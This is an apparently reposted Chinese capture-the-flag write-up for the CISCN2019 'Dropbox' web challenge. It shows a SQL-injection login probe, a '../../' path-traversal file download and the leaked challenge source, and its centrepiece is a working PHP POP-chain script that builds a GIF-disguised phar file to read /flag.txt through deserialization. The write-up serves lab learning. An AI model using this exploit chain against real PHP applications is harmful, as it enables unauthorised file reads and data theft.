码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • [CISCN2019 华北赛区 Day1 Web1]Dropbox


    目录

    前言:

    考点:

    前置知识:

    使用的前提条件:

    解题:

    参考文章:


    前言:

     。。。

    考点:

    代码审计

    Phar反序列化

    前置知识:

    引入一个 Y4师傅的文章,这里我就不班门弄斧:[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

    要简单了解的是phar的四个部分:

    1,stub

    phar 文件的表示,以 xxxxxx 为固定形式,前面内容可以变,点必须 __HALT__COMPILER();?>结尾。

    2,a mainfest describing the contents

    该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。

    3,the file contents

    这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。

    4. a signature for verifying Phar integrity

    数字前面 ,在最末尾。

    使用的前提条件:

    1. phar 文件可以上传至服务器。

    2. 文件操作入 file_exists() .file_get_content(),fopen() ,要有可利用的魔术方法作为跳板

    3.文件流参数可控,且phar://协议可用  /  phar 等特殊字符没有被过滤


    解题:

     看到登录框,先 用万能密码 1' or 1=1#  试了一下 没有反应。就注册一个账号登进去。

    进入以后我们发现左上角有一个上传文件的功能,然后我们先随便建个文档上传提交,发现它要求得文件类型只能是gif/jpg/png的类型,然后进一步测试发现,只更改文件后缀名是没有用的,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。

    就算你上传 1.php 文件,他也会自动改成png 格式。

    上传成功后,能够看到下载和删除两个按钮,一般来说,下载这两字 可能会有任意文件下载的。

    抓包看 ,确实如此

     filename 是可控的,我们试着 下载 flag.txt 发现是不行的,无奈之下只能下载一些 所有功能的源代码。  不过要注意的是 , 文件都放在 上上级目录了,所以我们 下载文件 需要加上 ../ ../

     主要看 class.php 文件,因为有file_get_contents函数,可以让我们读取flag。

    1. error_reporting(0);
    2. $dbaddr = "127.0.0.1";
    3. $dbuser = "root";
    4. $dbpass = "root";
    5. $dbname = "dropbox";
    6. $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
    7. class User {
    8. public $db;
    9. public function __construct() {
    10. global $db;
    11. $this->db = $db;
    12. }
    13. public function user_exist($username) {
    14. $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
    15. $stmt->bind_param("s", $username);
    16. $stmt->execute();
    17. $stmt->store_result();
    18. $count = $stmt->num_rows;
    19. if ($count === 0) {
    20. return false;
    21. }
    22. return true;
    23. }
    24. public function add_user($username, $password) {
    25. if ($this->user_exist($username)) {
    26. return false;
    27. }
    28. $password = sha1($password . "SiAchGHmFx");
    29. $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
    30. $stmt->bind_param("ss", $username, $password);
    31. $stmt->execute();
    32. return true;
    33. }
    34. public function verify_user($username, $password) {
    35. if (!$this->user_exist($username)) {
    36. return false;
    37. }
    38. $password = sha1($password . "SiAchGHmFx");
    39. $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
    40. $stmt->bind_param("s", $username);
    41. $stmt->execute();
    42. $stmt->bind_result($expect);
    43. $stmt->fetch();
    44. if (isset($expect) && $expect === $password) {
    45. return true;
    46. }
    47. return false;
    48. }
    49. public function __destruct() {
    50. $this->db->close();
    51. }
    52. }
    53. class FileList {
    54. private $files;
    55. private $results;
    56. private $funcs;
    57. public function __construct($path) {
    58. $this->files = array();
    59. $this->results = array();
    60. $this->funcs = array();
    61. $filenames = scandir($path);
    62. $key = array_search(".", $filenames);
    63. unset($filenames[$key]);
    64. $key = array_search("..", $filenames);
    65. unset($filenames[$key]);
    66. foreach ($filenames as $filename) {
    67. $file = new File();
    68. $file->open($path . $filename);
    69. array_push($this->files, $file);
    70. $this->results[$file->name()] = array();
    71. }
    72. }
    73. public function __call($func, $args) {
    74. array_push($this->funcs, $func);
    75. foreach ($this->files as $file) {
    76. $this->results[$file->name()][$func] = $file->$func();
    77. }
    78. }
    79. public function __destruct() {
    80. $table = '
      ';
    81. $table .= '
    82. ';
    83. foreach ($this->funcs as $func) {
    84. $table .= '
    85. ';
    86. }
    87. $table .= '
    88. ';
    89. $table .= '
    90. ';
    91. foreach ($this->results as $filename => $result) {
    92. $table .= '
    93. ';
    94. foreach ($result as $func => $value) {
    95. $table .= '
    96. ';
    97. }
    98. $table .= '
    99. ';
    100. $table .= '
    101. ';
    102. }
    103. echo $table;
    104. }
    105. }
    106. class File {
    107. public $filename;
    108. public function open($filename) {
    109. $this->filename = $filename;
    110. if (file_exists($filename) && !is_dir($filename)) {
    111. return true;
    112. } else {
    113. return false;
    114. }
    115. }
    116. public function name() {
    117. return basename($this->filename);
    118. }
    119. public function size() {
    120. $size = filesize($this->filename);
    121. $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    122. for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    123. return round($size, 2).$units[$i];
    124. }
    125. public function detele() {
    126. unlink($this->filename);
    127. }
    128. public function close() {
    129. return file_get_contents($this->filename);
    130. }
    131. }
    132. ?>
    133. 这个利用点 file_get_contents 没有对 关键字进行过滤,所以 我们肯定是利用这个函数来获取flag 的。 所以我们应该怎么样利用呢? 

      首先是定义的 close 函数,我们跳转到哪里调用了这个close()

      跟进代码,看到是User类 的__destrust() 调用了 close()

       所以我们简单的逻辑  就是:  User-> __destruct() =>File -> close() -> 读取flag。

      但是  试了一下,并没有回显,此时,我在前提条件说过,第二条要有可用魔术方法作为跳板,class.php 有一个 __call() 方法可以使用,恐怕想不利用他们都不行了。。。

      如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
      注意到 User类中在 __destruct时调用了close(),按原逻辑,$db应该是mysqli即数据库对象,但是我们可以构造$db指定为 File对象,这样就可以读取到文件了。
      可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func],刚好我们利用这一点:让 $db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results

      $user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。

      返回读取结果:

      • __destruct正好会将 $this->results[$file->name()][$func]的内容打印出来

      pop链:

      1. class User {
      2. public $db;
      3. public function __construct(){
      4. $this->db=new FileList();
      5. }
      6. }
      7. class FileList {
      8. private $files;
      9. private $results;
      10. private $funcs;
      11. public function __construct(){
      12. $this->files=array(new File());
      13. $this->results=array();
      14. $this->funcs=array();
      15. }
      16. }
      17. class File {
      18. public $filename="/flag.txt";
      19. }
      20. $user = new User();
      21. $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
      22. $phar-> startBuffering();
      23. $phar->setStub("GIF89a"); //设置stub
      24. $phar->setMetadata($user); //将对象user写入到metadata中
      25. $phar->addFromString("shell.txt","snowy"); //添加压缩文件,文件名字为shell.txt,内容为snowy
      26. $phar->stopBuffering();

      注意:想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件

      生成phar文件:

       改后缀上传:

       抓取delete.php的数据包,修改post提交的数据:

      得到flag。

      参考文章:

      [CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)

      [CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)_Red snow的博客-CSDN博客

      (1条消息) [CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

    134. 相关阅读:
      HTML小游戏4 —— 简易版英雄联盟(附完整源码)
      外国电影字幕翻译,怎么把英文字幕翻译成中文字幕?
      第15讲:DCL类型的SQL语句之用户权限控制
      基于Java毕业设计智能导诊系统源码+系统+mysql+lw文档+部署软件
      Android中获取手机SIM卡的各种信息
      Windows UIA自动化测试框架学习--获取qq好友列表
      春运“火车票难买”,用微信小程序抢到票的用户都笑了
      七年码农路
      Maven 私服搭建指南
      学 Go,最常用的技能是什么?打日志
    135. 原文地址:https://blog.csdn.net/snowlyzz/article/details/126698275
      • 最新文章
      • 沪漂五周年了:我越来越迷茫了
        Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
        MySQL-Seconds_behind_master的精度误差
        [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
        AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
        Agent OS :五种驯服不确定性的范式
        PortSwigger SQL注入LAB11
        数据库即时编译JIT
        [Begin]AI Learn Data Day 0
        深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
      • 热门文章
      • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
        奉劝各位学弟学妹们,该打造你的技术影响力了!
        五年了,我在 CSDN 的两个一百万。
        Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
        面试官都震惊,你这网络基础可以啊!
        你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
        心情不好的时候,用 Python 画棵樱花树送给自己吧
        通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
        13 万字 C 语言从入门到精通保姆级教程2021 年版
        10行代码集2000张美女图,Python爬虫120例,再上征途
      小工具 小游戏
      Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

      京公网安备 11010502049817号

      ' . htmlentities($func) . 'Opt
      ' . htmlentities($value) . 'htmlentities($filename) . '">下载 / 删除